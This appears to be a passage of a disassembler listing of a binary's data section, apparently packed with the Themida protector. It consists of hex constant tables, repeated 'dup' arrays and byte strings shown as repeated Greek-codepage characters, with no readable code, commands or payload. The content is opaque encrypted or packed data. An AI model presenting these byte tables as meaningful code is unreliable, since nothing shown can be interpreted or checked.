		dd 0B7D15AFAh, 0F08B6689h, 10E9h, 5FE63600h, 51BB75D4h
		dd 2C64BC22h, 843AB859h, 0FA8B6661h, 5E956h, 0A2BB0000h
		dd 584C389Dh, 7E8h, 4E366300h, 0AF0DB892h, 0F605AF9h, 48Eh
		dd 0C4BA6600h, 0F3816630h, 0F61FC1Bh, 0DF80F7BFh, 0EE964h
		dd 0A7D60000h, 4CAD028h, 0E50B9D47h, 639FE03h, 188D0Fh
		dd 13E90000h, 0F1000000h, 0EF18B2BDh, 7499A94Eh, 72635F0h
		dd 6C7DC276h, 7DB22A48h, 0D8816660h, 0D8818555h, 6BA3345Fh
		dd 0F2816661h, 8C0FE257h, 6, 7D65F181h,	0E8501A00h, 7
		dd 911B7F18h, 0F599F52Bh, 0D78B5F59h, 880F5E51h, 4, 68E7B866h
		dd 0D9816657h, 0E95AF000h, 0Ah,	28B2AD87h, 1E06CE35h, 0C781912Dh
		dd 7DDB52CBh, 0FE8h, 34383500h,	8A0AD42Eh, 4E432BFh, 73091629h
		dd 3136E0BAh, 0C1805943h, 0B966512Bh, 0E85AA02Fh, 0Fh
		dd 8DA1AF80h, 0EF406B4Fh, 0A4077446h, 596504A0h, 0CF8BFA8Bh
		dd 6E9h, 292C9400h, 0F70CF6Eh, 0E081FEB7h, 42D9499Eh, 4984B966h
		dd 0C1BFBA66h, 0B0BA66F8h, 0F6B70FAEh, 25F68166h, 0C88B66B5h
		dd 0AE9h, 5AA88F00h, 0FE33CF27h, 0F5842E9h, 6EB8DABFh
		dd 0F521567h, 0F8Fh, 7E85700h, 19000000h, 324D2ABDh, 5B59195Ah
		dd 257175BFh, 11E840h, 6CA10000h, 0CC1A9C8Ch, 0FA74375h
		dd 0C85916Dh, 0E8FE7F95h, 11h, 8B4569ADh, 0EF79AEF2h, 9EC10299h
		dd 0F1986244h, 840FA7h,	59000000h, 0F18B6658h, 9E9h, 4EFE3E00h
		dd 0F40132CAh, 0B7F5A38Bh, 3265B958h, 12E83FE8h, 70000000h
		dd 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h, 12E981h
		dd 27450000h, 0B4480660h, 58EC7BC9h, 0CB375C30h, 46A186EDh
		dd 118F0F5Ah, 0E9000000h, 0Ch, 54394C70h, 0F23C51ADh, 0B0CE3709h
		dd 0C3816656h, 605E41BAh, 61DFB70Fh, 0DA16BA66h, 80CA8166h
		dd 0EE80Eh, 0A6B0000h, 0E0335E7h, 0D39B7B9Eh, 1613B3C4h
		dd 74EE8160h, 523FDF0Dh, 665A6158h, 0B9E2C4BAh,	4B11C839h
		dd 0CE9h, 2BAE800h, 29F714E4h, 6E83EE37h, 0BE8C1h, 6070000h
		dd 0DA4A5C35h, 0DA178970h, 12E93Bh, 715D0000h, 17A04D00h
		dd 5C1CBBBh, 658328Bh, 207F37F0h, 810FF958h, 4,	5AF18B52h
		dd 0A832BA66h, 0BEC2C381h, 80600BB1h, 0BF0F06EEh, 0DE8161F6h
		dd 2C1C0F46h, 0EE8h, 70449400h,	13E31FB3h, 87B5C906h, 0E9AD340Dh
		dd 10h,	9D788C7h, 0D220C422h, 7278D211h, 0D0861AFEh, 815A505Eh
		dd 57EEA9DFh, 6E822h, 9F060000h, 62E5482Dh, 0BE85Fh, 832C0000h
		dd 9DF9ED24h, 0CD04C81Dh, 0E3B1588Dh, 9E9h, 0A8C4EA00h
		dd 0FF82A9B9h, 0FE85012h, 59000000h, 2872CA8Eh,	5ACF78F5h
		dd 8A042F94h, 81664469h, 5F51B3E1h, 10E9h, 0EAE99600h
		dd 6CF055E7h, 610B39ADh, 0BB8444E8h, 0BE85326h,	0F8000000h
		dd 9AAF878h, 0FB22369Fh, 5850323Dh, 0EA8A585Ah,	5B82DE81h
		dd 8B666E74h, 0BF0F60D7h, 4D480D7h, 0F2816661h,	0F8608FECh
		dd 0FED4BF61h, 0B8603308h, 2D415F80h, 3800Fh, 8B660000h
		dd 860F61DEh, 0Bh, 5840Fh, 81660000h, 0FA592E7h, 289h
		dd 6084B600h, 0B7F9B70Fh, 0BF0F611Dh, 14E9C3h, 5F1F0000h
		dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 8166279Ch
		dd 0E93E0AE0h, 13h, 52152892h, 66EF60C6h, 4A2A6800h, 982215B8h
		dd 5753DEB1h, 0FE9h, 59B26400h,	78477916h, 0EA02B811h
		dd 9CB89B42h, 97BF665Eh, 91BE566Bh, 4B5h dup(91BE5674h)
		dd 0C4h	dup(0B69A866Dh)
dword_612D20	dd 0Eh dup(0B69A866Dh)		db 6Dh
byte_612D59	db 86h,	9Ah, 0B6h	; DATA XREF: Themida_:00582D28o
					; Themida_:005847C8o ...
		dd 1219736Dh, 6Bh dup(12197364h), 0EA54FA64h, 2	dup(0EA54FA2Ah)
		dd 0A3DDFA2Ah, 116h dup(0A3DDB462h), 1Fh dup(242664EBh)
		dd 0DCDFE9EBh, 1C6h dup(0DCDFEAA5h)
aEEEEEEEEEEEEEE	db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
					; DATA XREF: Themida_:005A9992o
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
